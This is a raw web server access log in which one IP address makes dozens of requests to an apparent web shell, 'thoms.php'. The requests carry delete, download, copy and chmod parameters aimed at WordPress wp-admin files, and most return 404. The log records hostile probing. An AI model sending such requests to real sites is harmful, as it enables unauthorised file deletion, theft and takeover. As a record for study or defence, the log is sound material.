45.135.193.11 - - [12/Sep/2026:00:01:48 -0400] "GET /thoms.php?chmod=menu.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=menu.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:48 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=media.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:48 -0400] "GET /thoms.php?del=ms-sites.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-sites.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:48 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=site-health.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=site-health.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:48 -0400] "GET /broadweb.com.tw/wp-admin/load-styles.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:48 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin%2Fuser HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin%2Fuser" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:48 -0400] "GET /thoms.php?chmod=authorize-application.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=authorize-application.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:48 -0400] "GET /thoms.php?del=authorize-application.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=authorize-application.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:48 -0400] "GET /broadweb.com.tw/wp-admin/theme-editor.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:48 -0400] "GET /thoms.php?del=update-core.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=update-core.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:48 -0400] "GET /thoms.php?del=user-edit.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=user-edit.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:48 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=users.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=users.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:49 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin%2Fcss HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin%2Fcss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:49 -0400] "GET /thoms.php?dl=admin-header.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin-header.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:49 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fload-scripts.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fload-scripts.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:49 -0400] "GET /thoms.php?chmod=post.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=post.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:49 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fprofile.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fprofile.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:49 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=term.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=term.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:49 -0400] "GET /thoms.php?dl=upgrade-functions.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=upgrade-functions.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:49 -0400] "GET /thoms.php?dl=comment.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=comment.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:49 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fedit-form-blocks.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fedit-form-blocks.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:49 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=export.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=export.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:49 -0400] "GET /thoms.php?dl=install-helper.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=install-helper.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:49 -0400] "GET /thoms.php?chmod=ms-delete-site.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-delete-site.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:49 -0400] "GET /thoms.php?dl=ms-options.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-options.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:49 -0400] "GET /thoms.php?chmod=ms-themes.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-themes.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:49 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fabout.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fabout.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:49 -0400] "GET /broadweb.com.tw/wp-admin/font-library.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:49 -0400] "GET /thoms.php?del=includes&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=includes&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:49 -0400] "GET /thoms.php?chmod=ms-upgrade-network.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-upgrade-network.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:50 -0400] "GET /thoms.php?chmod=includes&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=includes&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:50 -0400] "GET /broadweb.com.tw/wp-admin/admin-post.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:50 -0400] "GET /thoms.php?dl=admin-functions.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin-functions.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:50 -0400] "GET /thoms.php?del=edit-form-advanced.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit-form-advanced.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:50 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Flink-manager.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Flink-manager.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:50 -0400] "GET /thoms.php?dl=nav-menus.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=nav-menus.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:50 -0400] "GET /thoms.php?chmod=network.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=network.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:50 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=site-health-info.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=site-health-info.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:50 -0400] "GET /thoms.php?del=edit-tag-form.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit-tag-form.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:50 -0400] "GET /thoms.php?chmod=update.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=update.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:50 -0400] "GET /thoms.php?del=upgrade-functions.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=upgrade-functions.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:50 -0400] "GET /thoms.php?del=js&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=js&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:50 -0400] "GET /broadweb.com.tw/wp-admin/widgets-form-blocks.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:50 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=edit-comments.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=edit-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:50 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=edit-form-blocks.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=edit-form-blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:50 -0400] "GET /thoms.php?dl=profile.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:51 -0400] "GET /thoms.php?dl=link-add.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=link-add.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:51 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fmenu.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fmenu.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:51 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=options-reading.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=options-reading.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:51 -0400] "GET /thoms.php?del=setup-config.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=setup-config.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:51 -0400] "GET /thoms.php?chmod=upgrade-functions.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=upgrade-functions.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:51 -0400] "GET /thoms.php?dl=widgets-form.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=widgets-form.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:51 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=menu-header.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=menu-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:51 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fms-delete-site.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fms-delete-site.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:51 -0400] "GET /broadweb.com.tw/wp-admin/profile.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:51 -0400] "GET /thoms.php?chmod=privacy.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=privacy.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:51 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fnetwork&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fnetwork&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:51 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=async-upload.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=async-upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:51 -0400] "GET /thoms.php?chmod=install.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=install.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:51 -0400] "GET /broadweb.com.tw/wp-admin/term.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:51 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Flink-add.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Flink-add.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:52 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fupgrade.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fupgrade.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:52 -0400] "GET /thoms.php?chmod=network&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=network&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:52 -0400] "GET /thoms.php?del=install.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=install.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:52 -0400] "GET /thoms.php?chmod=link-add.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=link-add.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:52 -0400] "GET /thoms.php?chmod=link.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=link.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:52 -0400] "GET /thoms.php?del=ms-edit.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-edit.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:52 -0400] "GET /thoms.php?chmod=my-sites.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=my-sites.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:52 -0400] "GET /broadweb.com.tw/wp-admin/site-health.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:52 -0400] "GET /thoms.php?chmod=user-new.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=user-new.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:52 -0400] "GET /thoms.php?dl=link.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=link.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:52 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fmedia-upload.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fmedia-upload.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
